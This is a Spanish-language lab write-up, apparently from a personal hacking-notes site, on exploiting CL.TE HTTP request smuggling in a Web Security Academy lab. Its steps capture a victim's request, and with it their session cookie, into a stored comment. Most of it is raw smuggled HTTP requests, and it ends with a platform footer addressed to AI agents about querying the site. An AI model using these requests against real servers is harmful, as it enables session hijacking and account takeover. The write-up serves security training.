> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/capture-queries-from-other-users.md).

# Capturar consultas de otros usuarios

### Explotar el contrabando de solicitudes HTTP para capturar las solicitudes de otros usuarios

El laboratorio está configurando un servidor frontend y un servidor backend. El frontend **no admite la codificación fragmentada**. / El objetivo es **contrabandista** una solicitud al backend para que **la siguiente solicitud del usuario** es **almacenado por la aplicación**. / Luego, **recuperar esta solicitud** y usar las **cookies de la víctima** para acceder a su cuenta.

El laboratorio simula a un usuario víctima: al enviar unas pocas solicitudes POST, la víctima ejecuta su propia solicitud. / A veces es necesario repetir el ataque varias veces.

> Aunque el laboratorio permite HTTP/2, la solución debe usar **HTTP/1** ya que algunas técnicas solo son posibles en este protocolo. " " El frontend interpreta **Content-Length**, mientras que el backend trata **Transfer-Encoding: chunked**, creando un desfase explotable. " " La extensión de Burp HTTP Request Smuggler puede ayudar a corregir manualmente las longitudes.

#### 1. **Solicitud interpretada por el frontend**

El frontend lee `Content-Length: 13`, luego también ve `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

Después del final del fragmento (`0`), se añade una solicitud adicional al backend.

<figure><img src="/files/9be6b6c10fd4cbab8bf0b82196fd038c06e2ef99" alt=""><figcaption></figcaption></figure>

#### 2. **Inyección de una solicitud POST para publicar un comentario**

Construyes una solicitud contrabandeada que contiene una segunda solicitud completa:

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

Resultado:/ La solicitud contrabandeada se trata como si proviniera de tu propia sesión, y la aplicación publica el comentario.

<figure><img src="/files/bef7553d1971c6acf45a68ac00994f8e01b7ec6c" alt=""><figcaption></figcaption></figure>

#### 3. **Forzar a la víctima a publicar un comentario**

Modificas el cuerpo a:

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

y envías una solicitud similar. / Al recargar, la aplicación muestra **Gracias por tu comentario**, indicando que la víctima publicó este comentario.

<figure><img src="/files/0043dce8b69a2ff3160cb74f1da1114f3451a35c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a1f89a0d5d786e4da3da9970522da54466ebef79" alt=""><figcaption></figcaption></figure>

#### 4. **Preparar la captura de la solicitud de la víctima**

Para capturar toda la solicitud del usuario víctima, aumentas enormemente la `Content-Length` para que el backend consuma la siguiente solicitud como contenido:

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

La siguiente solicitud enviada por la víctima es entonces absorbida en el cuerpo esperado... / y se convierte en **consultable en el almacenamiento de la aplicación**.

<figure><img src="/files/bbf51f3a70f2564ddb111cd952289e9075ffbf40" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/capture-queries-from-other-users.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
